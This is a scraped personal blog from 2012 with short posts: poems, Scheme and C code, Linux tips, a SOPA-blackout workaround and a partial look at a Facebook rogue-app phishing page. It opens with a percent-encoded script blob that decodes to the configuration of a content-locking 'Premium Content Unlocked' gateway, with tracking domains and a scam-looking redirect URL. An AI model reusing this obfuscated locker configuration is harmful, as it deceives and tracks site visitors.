unescape('%20%20%76%61%72%20%77%69%64%67%65%74%4a%53%4f%4e%20%3d%20%7b%20%20%20%20%22%62%72%61%6e%64%73%74%61%74%69%63%22%3a%20%22%73%74%61%74%69%63%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%77%77%77%64%6f%6d%61%69%6e%22%3a%20%22%77%77%77%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%63%6f%64%65%22%3a%20%22%63%70%61%6c%65%61%64%22%2c%20%20%20%20%22%64%61%74%61%64%6f%6d%61%69%6e%22%3a%20%22%64%61%74%61%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%74%72%61%63%6b%64%6f%6d%61%69%6e%22%3a%20%22%74%72%61%63%6b%69%6e%67%2d%74%65%63%68%6e%6f%6c%6f%67%79%2e%63%6f%6d%22%2c%20%20%20%20%22%70%75%62%22%3a%20%22%31%31%37%38%33%33%22%2c%20%20%20%20%22%73%75%62%69%64%22%3a%20%22%31%32%32%2e%31%37%34%2e%39%2e%31%31%30%22%2c%20%20%20%20%22%63%6f%75%6e%74%72%79%22%3a%20%22%49%4e%22%2c%20%20%20%20%22%67%61%74%65%69%64%22%3a%20%22%31%33%34%36%38%32%22%2c%20%20%20%20%22%67%61%74%65%69%64%36%34%22%3a%20%22%4d%54%4d%30%4e%6a%67%79%22%2c%20%20%20%20%22%67%61%74%65%74%79%70%65%22%3a%20%22%30%22%2c%20%20%20%20%22%67%61%74%65%68%61%73%68%22%3a%20%22%66%61%31%31%35%33%37%35%36%39%63%63%63%38%38%65%30%36%38%33%39%32%66%37%33%38%66%65%39%62%35%39%22%2c%20%20%20%20%22%69%63%6f%6e%6d%61%78%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%69%63%6f%6e%69%74%65%6d%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%70%72%6f%74%65%63%74%66%69%6c%65%22%3a%20%22%30%22%2c%20%20%20%20%22%70%72%6f%6d%70%74%65%6d%61%69%6c%22%3a%20%22%30%22%2c%20%20%20%20%22%61%63%63%65%73%73%74%69%6d%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%66%6f%6e%74%63%6f%6c%6f%72%22%3a%20%22%23%30%32%36%30%63%34%22%2c%20%20%20%20%22%62%61%63%6b%67%72%6f%75%6e%64%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%69%2e%69%6d%67%75%72%2e%63%6f%6d%2f%4f%38%35%32%4f%2e%70%6e%67%22%2c%20%20%20%20%22%64%6f%77%6e%6c%6f%61%64%22%3a%20%22%4d%54%45%33%4f%44%4d%7a%66%44%45%7a%4e%44%59%34%4d%6e%77%77%22%2c%20%20%20%20%22%6c%65%66%74%74%69%6d%65%22%3a%20%22%66%6f%72%20%3c%73%74%72%6f%6e%67%3e%3c%75%3e%32%34%3c%2f%75%3e%3c%2f%73%74%72%6f%6e%67%3e%20%68%6f%75%72%73%20%6f%6e%6c%79%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%75%6e%69%74%73%22%3a%20%22%68%6f%75%72%73%22%2c%20%20%20%20%22%61%6c%65%72%74%22%3a%20%22%31%22%2c%20%20%20%20%22%61%6c%65%72%74%74%65%78%74%22%3a%20%22%50%72%65%6d%69%75%6d%20%43%6f%6e%74%65%6e%74%20%55%6e%6c%6f%63%6b%65%64%21%22%2c%20%20%20%20%22%6c%65%61%64%74%65%78%74%22%3a%20%22%22%2c%20%20%20%20%22%63%61%63%68%65%75%72%6c%22%3a%20%22%61%48%52%30%63%44%6f%76%4c%33%4e%6c%5a%57%68%76%64%33%52%76%63%6d%56%7a%64%47%39%79%5a%58%6c%76%64%58%4a%68%59%32%4d%75%59%6d%78%76%5a%33%4e%77%62%33%51%75%61%57%34%76%50%33%64%68%64%47%4e%6f%22%2c%20%20%20%20%22%74%72%61%66%66%69%63%72%65%74%61%69%6e%65%72%22%3a%20%22%31%22%2c%20%20%20%20%22%63%6c%6f%73%65%62%75%74%74%6f%6e%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%65%6e%61%62%6c%65%64%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%75%72%6c%22%3a%20%22%22%20%20%20%7d%3b%20%20%20')

Thursday, February 23, 2012

The most confident puppy in the room

The most confident puppy in the room,
  • may embarrass itself more frequently,
  • will surely be silenced more,
  • will be put in its place often,
  • may not have the most number of friends,
  • will mess things up for itself and others
But we all know the most confident puppy in the room....

 

Saturday, February 18, 2012

Angry Facebook Rant

when i log in to FB, I see you, *you* all my FB friends, getting a promotion, eating to your hearts content in some fancy restaurant, enjoying in a wacko party, playing, enjoying, ALWAYS #@$@$, now i do all that, not that i don't! but to see someone do something EVERY FREAKING DAY, kinddaa bums me out, monday someone is getting married, tuesday someone else gets promoted, wednesday someone goes to a really beautiful place with all their friends, thursday someone found the love of their life, friday someone posts the pics of his new car, saturday someone won some football match, sunday someone is taking the whole week off :( @#$@#@#

What do you think, that i can fall in love very monday, get promoted on tuesdays, go dancing on wednesdays, buy BMWs and HArley Davidsons on thursdays, climb Mt. Everest on Fridays, go eat in taj on saturdays, and apply for one week leave every Sunday? There is no way i am going to keep pace with that, and i don't plan to, screw you, i am logging off and going to SLEEP, someone else can *like* all your photos, good night.

Wednesday, February 15, 2012

SICP Journey - 1

I have started learning Scheme as functional programming is raising its head once again! Haskell, Clojure, Coffee Script in javascript.

Boy, so here i go,

Here is my fibonacci program,
(define (fibo n)
        (cond ((= 0 n) 0)
              ((= 1 n) 1)
              (else (+ (fibo (- n 1))
                   (fibo (- n 2))
                      ))))

And here is a factorial program,

(define (factprog x)
        (cond ((= 0 x) 1) 
            (else (* x (factprog (- x 1)))
        ))
    )

Yup, that's it. So short and so sweet. Better versions of these programs are going to appear, so, watch out!

Tuesday, January 31, 2012

Today Is Everyday

So long I've been thinking that my problem was thinking that tomorrow was special...

That tomorrow had that special something which will make make me do the things that I didn't want to do today...

That tomorrow I'll have the special skills, the energy, the passion,...

That tomorrow the circumstances will be just right,...

Then it dawned on me today...

I wasn't wrongly thinking that tomorrow was special...

I was thinking that *today is special*...

I've been thinking that today is the special day in which I can't do something...

Today I'm tired...

Today I don't know how...

Today I've got other important things to do...

Today I surely have to rest...

Today I must read this or check that...

Today I must master my inbox, or update my FB status,...

That today isn't like every other day... today is special...

But, no, I've realized it isn't...

Today is like every other day...

The problems and obstacles I have today will be there tomorrow, the day after that, and every other day...

My energy levels will more or less be the same...

My passion and motivation too...

So, I have to hammer it in...

Today is like every other day... Today Is Everyday...

So whatever that needs to be done, I'd rather do it today,...

I'll work - today...

I'll sweat - today...

I'll learn - today...

I'll hustle - today...

Because, today is everyday...

Yes, Today Is Everyday...

Tuesday, January 24, 2012

Ultra cool commands

I planned to make a good cheat sheet from http://www.reddit.com/r/linux/comments/mi80x/give_me_that_one_command_you_wish_you_knew_years/,
well, here are some..., i'll keep updating this when I am bored..
  • units - conversion between more than 2000 kinds of units (kg to pounds, kilometers to miles etc.)
  • ctrl + e - opens current command in $EDITOR and runs the altered version
  • fc - similar to above, but opens previous command
  • ctrl + r - reverse searches what you've entered in command history
  • bind '"\e[A": history-search-backward' - binds your UP arrow key to only search whatever you've entered partially
  • bind '"\e[B": history-search-forward' - binds your DOWN arrow key to only search whatever you've entered partially
  •  lsof - ultra powerful so go here for detailed usage http://danielmiessler.com/study/lsof/
  • find . -print0 | xargs -0 command -Runs command on all the files found.
  • ctrl + a - Go to beginning of line
  • cd - - Go to previous working directory. The directory you were in, before cd ing to some other directory.
  • :w ! sudo tee %  - in vim when you forgot to open the file in sudo mode
  • pushd  - Pushes a directory to stack and cds there
  • popd - removes current directory from stack and cds to prevoius directory
  • tmux - read here http://blog.hawkhost.com/2010/06/28/tmux-the-terminal-multiplexer/
  • man -k searchstring - Search whether a tool is available for some task in your machine

Friday, January 20, 2012

Logical thinking - Interview

The other day, I was interviewing a couple of people to grant them admission to CDAC's course. I wanted to test their logical thinking and here is a question I asked one person. Question: If 50% of the people who watched IPL last year on television were under twenty years of age, what would have been the percentage of people aged more than 50? I didn't really need an answer. I only wanted to see their thought process. Here is what I expect, Attempt 1 - Around 30%, because people aged more than 60 in India tend to be retired, and hence have more free time, their percentage should definitely be more than people aged between 20 -50, who wouldn't have much spare time,... Attempt 2 - Around 20%, because they might be less interested in the IPL kind of cricket! Moral 1 - The answer doesn't matter, what matters is how one thinks. Moral 2 - It easy being smart while sitting on the right side of the table!

Thursday, January 19, 2012

Three ways of saying sorry

Today I realized that there are three things a person might mean when they say sorry.
  • Oops, I am caught :( This is not exactly a sorry, they would do the same stuff again, more carefully. If this is what you mean, don't bother at all. Try explaining the reason without apologizing, if you are in the right. If someone tells this kind of sorry to you, watch out! Be careful next time.
  • I regret doing that/not doing that. People tell this kind of sorry didn't mean to upset others. It was either unexpected or unintended or beyond their ability to deliver. The best thing to do is to let them know you understand and be supportive, and make them feel better.
  • I am sorry, how can I compensate This is the best kind of sorry to tell, rather, to do. Do something to compensate, but, don;t focus on the compensating part. The trick is to go further than what is expected and not tell one word about the extra effort. Reminding the other person that you are doing something to compensate does not help. Instead it makes them sour and reject your compensation. And, if the compensation is not good enough don't do anything at all.
But, the best thing is not to put yourself in the bad spot in the first place.

Tuesday, January 17, 2012

Seeing Wikipedia posts during SOPA blackout

Wikipedia has blacked out its contents today to fight against SOPA. So if there is anything you *must* see right now, do the following,...

But before you do that, learn about SOPA (its wicked, bad and evil). Tweet about it. Tell your friends, colleagues,...

And before I tell you how to go about this, I want you to know that I *hate* SOPA. I am a programmer who uses Debian GNU/Linux. I want all to join the fight for freedom, freedom as described by Stallman. But if you are dying to see that page, here is how,

If you are a little techie,
  • install firebug in firefox.
  • Go to the wiki page you want to see
  • Click on the firebug button in your toolbar, to see the firebug window down.
  • Expand the tag
  • Find this "style id="mw-sopa-blackout" " and click on it and press the delete button
  • Collapse the tag and expand the tag.
  • Find this span role="treeitem" class="nodeLabelBox repTarget "<div id="content" style="display: none;">
  • Delete display: none;
  • The page should be visible now.
If you are not a techie at all,
  • Save the page, by pressing Ctrl+S.
  • In your file explorer, (My Computer or Nautilus), find the save file.
  • Right click and choose Open with and open using notepad or some text editor.
  • Use find to search for the following "/table "
  • Delete from that part to the beginning of the page.
  • Open it in a browser now (preferably in a Firefox or chrome).
If you are a super techie, you must be pissed off at me... :( I sincerely support the fight against SOPA. I voted for the blackout at HN, and wikipedia myself. I tweeted about it. I didn't call anyone (congressman) because I'm from India, nevertheless I did my part.

Friday, January 13, 2012

Analysing a facebook spam/rogue app

Recently a couple of my friends were affected by a rogue app that posted crap using their accounts, and I was a bit curious how everything worked. But, typically they are so short lived, that by the time I get to see them, they are gone from the face of the internet, but, this time...

Luckily today another of my friends *liked* one such shit, and lets see how it works...

First off, it links to an exact Facebook look alike page... http://kustuntuniya.blogspot.com/?3





The page is an exact look alike, however, the lazy fellows were lazy enough not actually make all the links work. The header is just a div element with a CSS background image.

backgroundurl("http://i55.tinypic.com/jpj7fl.jpg") no-repeat scroll center top #3B5998;

 
Similarly the bottom part, is another image http://i.imgur.com/ZJLcI.jpg

Now, its the middle part that is actually interesting. 
The whole dark area is an iframe containing the page http://installplug.info/girlplugin.html 

The page has all the elements and the button like anchor tag, "Install Plugin", with the following code,  
<a class="install nomargin" onclick="instalar();">a>

So, it call our beloved instalar  function in javascript, which is found above in a script tag.


The next two lines tell them the type of browser... To install the XPI addon for firefox and CRX addon for Google chrome.


var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;


Monday, January 2, 2012

Binary Search Tree - C

I got a bit bored today, and wrote this to pass some time. Nothing's special here, but a normal binary search tree implementation in C. I just felt that some other stuff found online to be a little complicated for beginners, well, here is the simplest I could manage.



#include<stdio.h>
#include<stdlib.h>
#include<time.h>

//Create a node, well in layman's terms, a layout for a container, ie. the container should have one compartment to store the actual data, and two compartments to store the addresses of the children

struct node
{
    struct node *left,*right;
    int item;
};

//To insert something we need the data, passing the head could have been avoided had I kept it as a global variable

void insert(int item,struct node *head)
{
    struct node *tmpNode;
    tmpNode =  (struct node *)malloc(sizeof(struct node));
    tmpNode->item = item;
    tmpNode->right = tmpNode->left = NULL;
    findplaceNinsert(tmpNode,head);
    return;
}
//Keep traversing by going either left or right depending on the values, and insert as soon as we find an empty slot

void findplaceNinsert(struct node *tmpNode, struct node *parent)
{
    if(tmpNode->item > parent->item)
    {//Go right
        if(parent->right == NULL) parent->right = tmpNode;
        else findplaceNinsert(tmpNode,parent->right);
    }
    else
    {//Go left
        if(parent->left == NULL) parent->left = tmpNode;
        else findplaceNinsert(tmpNode,parent->left);
    }
    return;
}
//Inorder traversal
void printInorder(struct node *tmpNode)
{
    if(tmpNode->left != NULL) printInorder(tmpNode->left);
    printf("%d ",tmpNode->item);
    if(tmpNode->right != NULL) printInorder(tmpNode->right);
}

int main()
{
    struct node *head;
    int i,item;

    srand(time(NULL));
   
    head = (struct node *)malloc(sizeof(struct node));
    head->left = head->right = NULL;
    head->item = rand()%100;

    printf("\nInserting random numbers...\n");
    for(i=0;i<15;i++)
    {
        item = rand()%100;
        insert(item,head);
        printf("%d ",item);
    }
   
    printf("\n");
    printInorder(head);
}